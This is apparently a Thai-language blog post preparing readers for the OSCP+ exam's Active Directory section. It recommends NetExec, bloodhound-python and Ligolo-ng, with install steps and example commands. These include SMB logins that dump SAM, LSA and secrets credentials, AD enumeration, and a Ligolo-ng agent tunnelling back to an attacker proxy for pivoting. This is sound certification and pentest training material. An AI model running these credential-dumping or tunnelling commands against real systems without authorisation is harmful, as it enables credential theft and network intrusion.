แนะนำ Tools ที่ควรมีติดเครื่องไว้ ก่อนไปสอบ OSCP+ EP.1

สวัสดีครับ 🙏
บทความนี้เหมาะสำหรับผู้ที่กำลังเตรียมตัวสอบ OSCP+ (Offensive Security Certified Professional Plus) และมีพื้นฐานความเข้าใจเกี่ยวกับรูปแบบการสอบมาแล้ว โดยวันนี้ผมอยากจะมาแชร์ Tools ต่าง ๆ ที่ควรมีติดเครื่องไว้ โดย Tools เหล่านี้จะเป็น Tools ที่ผมใช้ระหว่างการสอบ โดยเฉพาะในส่วนของ Active Directory (AD) set ซึ่งถือเป็นส่วนที่มีการเปลี่ยนแปลงและท้าทายมากขึ้นจากการสอบ OSCP แบบเดิม
โดยสิ่งที่ผมจะเล่าในบทความนี้จะเน้นไปที่:
- เหตุผลว่าทำไมผมเลือกใช้เครื่องมือนั้น ๆ
- วิธีการติดตั้งเครื่องมือ
- ตัวอย่างคำสั่ง/คำแนะนำที่สามารถนำไปปรับใช้ได้
บทความนี้จะไม่เปิดเผยรายละเอียดที่เกี่ยวข้องกับโจทย์สอบจริง แต่จะเน้นไปที่ แนวทางการเตรียมตัวและการเลือกเครื่องมือ ที่ผมมองว่ามีประโยชน์ต่อผู้ที่กำลังเตรียมตัวสอบ หรือกำลังทำ Pentest ในสภาพแวดล้อม AD ครับ 🚀
Source: https://credentials.offsec.com/e3f69a32-223a-4414-83c0-8e7eee5bdecb
สิ่งหนึ่งที่ผู้สอบควรทราบเกี่ยวกับ OSCP+ คือ ในหมวด Active Directory (AD) set ข้อสอบจะให้ Credential เริ่มต้นมาให้สำหรับใช้เชื่อมต่อไปยังเครื่องแรกทันที ซึ่งต่างจากการสอบ OSCP ที่เราต้องหาวิธีเจาะเข้าเครื่องแรกด้วยตนเอง
อย่างไรก็ตาม แม้จะมี Credential ให้ แต่ความยากกลับไม่ได้ลดลง ตรงกันข้าม ภายใน AD set นั้นมีความซับซ้อนและท้าทายกว่าการสอบ OSCP แบบดั้งเดิมมากครับ 🔥
Source: https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide
Active Directory Tools
1. NetExec (https://github.com/Pennyw0rth/NetExec)
สำหรับคนที่ยังไม่รู้จัก NetExec (NXC) — เป็นเครื่องมือ post-exploitation และสำหรับ lateral movement ที่ออกแบบมาเพื่อตรวจสอบและโจมตีระบบภายในผ่านหลากหลาย Service เช่น
- FTP → ลองล็อกอินด้วย credential หรือ anonymous เพื่อดูไฟล์ที่แชร์, ตรวจสอบสิทธิ์, อัปโหลด/ดาวน์โหลดไฟล์, brute-force
- SSH → ทดสอบการล็อกอินเข้าสู่เครื่องด้วยรหัสผ่านหรือคีย์
- SMB → ดู shares ที่เปิดอยู่, ตรวจสอบสิทธิ์, dump SAM/LSA/NTDS เพื่อดึงข้อมูล credential
- WinRM → ใช้ credential ที่พบเพื่อสั่งรัน PowerShell จากระยะไกล
- LDAP → ดึงข้อมูลผู้ใช้/เครื่อง/กลุ่มจาก Active Directory เพื่อนำไปต่อยอดการโจมตี (สำคัญมาก!)
- RDP → ทดสอบ username/password เพื่อเข้า remote desktop
- MSSQL → ทดสอบการล็อกอินฐานข้อมูล SQL Server และสั่ง query หรือคำสั่งที่จะเป็นประโยชน์ในการโจมตี
- NFS → ตรวจสอบการแชร์ไฟล์และสิทธิ์การเข้าถึง
- WMI → สั่งรันคำสั่งหรือดึงข้อมูลจากเครื่อง Windows ผ่าน WMI
- VNC → ทดสอบการเข้าถึง remote desktop ผ่านการยืนยันตัวตนของ VNC
แม้หลายคนจะคุ้นกับ CrackMapExec (CME) แต่ผมอยากแนะนำให้ลอง NetExec เพราะว่า:
- เป็น Open Source ที่พัฒนาต่อยอดมาจาก CrackMapExec
- ชมชุนเริ่มหันมาใช้ NetExec มากขึ้น เพราะมีการอัปเดตสม่ำเสมอและแก้บั๊กหลายจุดที่ CME ไม่ได้แก้
- Syntax และการใช้งานคล้ายกับ CME แทบทั้งหมด → ถ้าเคยใช้ CME มาแล้ว จะย้ายมาใช้ NXC ได้ไม่ยาก
- NetExec มีการรองรับโปรโตคอลมากกว่า CME ซึ่งทำให้ใช้งานได้ยืดหยุ่นและครอบคลุมกว่าในการโจมตีภายในเครือข่าย
Installation :
# for Kali/Linux
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
โดยทางทีมงานของ Datafarm เคยเขียนบทความเกี่ยวกับ NetExec เอาไว้และสามารถอ่านรายละเอียดเพิ่มเติมได้ที่: https://datafarm-cybersecurity.medium.com/netexec-all-in-one-tool-เครื่องมือเดียวครบจบ-90bc3eca902e
✏️ Note: ก่อนสอบความมีการเตรียมคำสั่งสำหรับ Service ต่าง ๆ เอาไว้ เพราะในกรณีที่ระบบเปิดใช้งาน Service นั้น ๆ จะได้หยิบใช้งานคำสั่งต่าง ๆ มาโจมตีต่อได้ทันที เช่น
พบว่าเครื่องเป้าหมายเปิดใช้งาน SMB ก็ทดสอบว่า Credential นั้น ๆ สามารถเข้าใช้งานได้รึเปล่า ด้วยคำสั่ง
nxc smb 192.168.1.10 -u Administrator -p ‘Password123’
คำสั่งที่เตรียมไว้ ในกรณีที่ Credential เข้าใช้งานได้:
ดู shared drives:
nxc smb
nxc smb
nxc smb 192.168.1.10 -u Administrator -p ‘Password123’ —sam
nxc smb 192.168.1.10 -u Administrator -p ‘Password123’ —lsa
nxc smb 192.168.1.10 -u Administrator -p ‘Password123’ —secrets
2. bloodhound-python (https://github.com/dirkjanm/BloodHound.py)
หลายคนคงรู้จัก BloodHound / SharpHound เป็นอย่างดีอยู่แล้ว ซึ่งเป็นเครื่องมือสำหรับวิเคราะห์ความสัมพันธ์ใน Active Directory (ผู้ใช้, กลุ่ม, สิทธิ์, เซสชัน) เพื่อค้นหาเส้นทางที่เป็นไปได้ในการยกระดับสิทธิ์หรือเคลื่อนย้ายภายในโดเมนนั้น ๆ
โดย bloodhound-python จะทำหน้าที่เป็น Python ingestor ที่ช่วยเก็บข้อมูลจาก AD ได้สะดวกจากเครื่อง Linux/Kali/Attack Box โดยไม่ต้องคอมไพล์ไบนารีบนเครื่อง Windows ของเป้าหมาย ทำให้สามารถรวบรวมข้อมูลผ่าน LDAP และส่งออกเป็นไฟล์ที่จะใช้นำเข้าใน BloodHound GUI เพื่อนำไปวิเคราะห์หาเส้นทางต่อไปได้
Installation:
# GitHub
git clone https://github.com/dirkjanm/BloodHound.py
cd BloodHound.py
python3 bloodHound.py
Usage Examples : ใช้ LDAP ดึงข้อมูลโดยตรงผ่าน IP ของ DC
bloodhound-python -u ‘user’ -p ‘pass’ -dc 10.20.30.40 -d datafarm.local -c all
✏️ Note: หากอยากทวบทวน BloodHound / SharpHound ผมขอแนะนำบทความนี้ครับ
เนื่องจาก link โหลด SharpHound.ps1 ในบทความ 404 not found ไปแล้ว ผมเลยแปะ link โหลดไฟล์นี้ให้แทนครับ: https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors
3. Ligolo-ng (https://github.com/nicocha30/ligolo-ng)
Ligolo-ng เป็นเครื่องมือสำหรับ pivoting/tunneling ที่ช่วยให้เข้าถึงเครือข่ายภายใน (Internal Network) และพอร์ตภายในเครื่องที่ไม่สามารถเข้าถึงได้จากเครือข่ายภายนอก (External Network) โดยความสามารถเด่น ๆ ดังนี้ :
- สร้าง reverse tunnel จากเครื่องเป้าหมายไปยังเครื่อง attacker
- รองรับ multiplexed connections และ TLS tunneling เพื่อความปลอดภัยและประสิทธิภาพในการรับส่งข้อมูล
- ใช้งานได้บนหลายระบบปฏิบัติการ เช่น Windows, Linux, macOS
Installation: จะแบ่งเป็น 2 ส่วนคือ
proxy → ตัวรันบนเครื่อง attack box / Kali
- ทำหน้าที่เป็น reverse proxy ที่รอ agent ติดต่อกลับเพื่อสร้าง tunnel
- ตัวอย่างในภาพใช้
ligolo-ng_proxy_0.8.2_linux_amd64.tar.gzเนื่องจากเป็นเวอร์ชันล่าสุด ณ วันที่เขียนบทความ
agent → ตัวรันบนเครื่องเป้าหมาย (target)
- เลือกตาม OS ของเครื่องเป้าหมาย เช่น
ligolo-ng_agent_0.8.2_windows_amd64.zipสำหรับ Windows หรือligolo-ng_agent_0.8.2_linux_amd64.tar.gzสำหรับ Linux
Link: https://github.com/nicocha30/ligolo-ng/releases/tag/v0.8.2
⚔️ ขั้นตอนสั้น ๆ ในการใช้งาน
- ดาวน์โหลด agent และ proxy ตาม OS ที่ต้องการ
- แตกไฟล์ agent/proxy (tar.gz หรือ zip)
3. สร้าง Tunnel interface เพื่อทำ Pivoting เข้าสู่ Internal Network ด้วยคำสั่ง
kali >> sudo ip tuntap add user kali mode tun ligolo
# ip tuntap add - สั่งให้สร้างอุปกรณ์ TUN/TAP ใหม่
# user kali - กำหนดให้ผู้ใช้ชื่อ kali เป็นเจ้าของอุปกรณ์
# mode tun - ระบุชนิดเป็น TUN (ใช้ส่ง IP packets — เหมาะเมื่อต้องการส่งแบบระดับ IP)
# ligolo - ชื่อของอุปกรณ์ที่เราจะตั้ง
kali >> sudo ip link set ligolo up
# สั่งให้เปิดใช้งานอุปกรณ์ที่สร้างขึ้น (เหมือนเปิดสวิตช์ก่อน ถึงจะใช้งานได้)
kali >> ip a
# ตรวจสอบว่า interface ถูกสร้าง

4. เริ่มต้น Ligolo-ng ที่เครื่อง of Attacker box
kali >> ./proxy -selfcert
# บอกให้ proxy สร้างใบรับรองแบบ self-signed TLS certificate เพื่อความสะดวกและรวดเร็วในการใช้งาน
# proxy จะเริ่ม listening ที่ port 11601 ซึ่งเป็นค่าตั้งต้น
5. รัน agent บนเครื่องเป้าหมายเพื่อเชื่อมกลับมาที่ proxy
agent.exe —connect 192.168.50.123:11601 —ignore-cert
# —ignore-cert เนื่องจากเราสั่งให้ proxy ใช้ self-signed cert
6. เมื่อ agent เชื่อมต่อสำเร็จ → เครื่อง proxy จะรายงานว่ามี Agent เชื่อมต่อเข้ามา
7. ตรวจสอบ session ที่เชื่อมเข้ามาด้วยคำสั่ง
ligolo-ng >> session
# จากนั้นเลือกหมายเลขของ Agent ที่ต้องการ (เช่น เลือก 1)
# ตัวอย่างคำสั่งภายใน session:
[Agent : data1\\Admin@data1] >> ifconfig # เพื่อดูวงเครือข่ายที่เข้าถึงได้
# จากการตรวจสอบอาจเห็นว่า agent สามารถเข้าถึงทั้งวง External (192.168.x.x/24) และ Internal (172.16.x.x/24)
8. เพิ่ม route บนเครื่อง attacker เพื่อให้สามารถเข้าถึง 172.16.x.x/24 — Internal Network ผ่าน interface ของ ligolo
kali >> sudo ip route add 172.16.x.x/24 dev ligolo
# คำสั่งนี้ทำให้เครื่องของ attacker รู้จัก ligolo ที่จะวิ่งไปหา Internal Network ผ่าน tunnel ของ Ligolo-ng
9. เริ่มส่งข้อมูล/เริ่มใช้งาน session
ligolo-ng >> start
ก็จบไปแล้วสำหรับเครื่องมือที่ผมอยากแนะนำให้มีติดเครื่องก่อนสอบ OSCP+ ครับ สิ่งสุดท้ายที่อยากฝากไว้คือ แม้จะคุ้นเคยกับเครื่องมือพวกนี้ดี แต่ในวันสอบความตื่นเต้นอาจทำให้เราลืมคำสั่งสำคัญได้ ดังนั้นแนะนำให้เตรียมสรุปคำสั่ง (cheat-sheet) ที่เป็นระเบียบ แยกตามงานที่ต้องใช้ เช่น recon / exploit / post-exploit / pivot เพื่อหยิบใช้งานได้ทันที และอย่าลืมฝึกทำในแล็บให้คุ้นมือ การเตรียมพร้อมเช่นนี้จะช่วยให้คุณทำงานเป็นระบบและเขียนรายงานได้เร็วขึ้น ทั้งนี้ทั้งนี้ยังมี Tools เจ๋ง ๆ อีกมากมายที่ผมยังไม่ได้กล่าวถึงในบทความนี้ แต่ไว้พบกันใหม่ EP.2 ครับ 🤓 🤘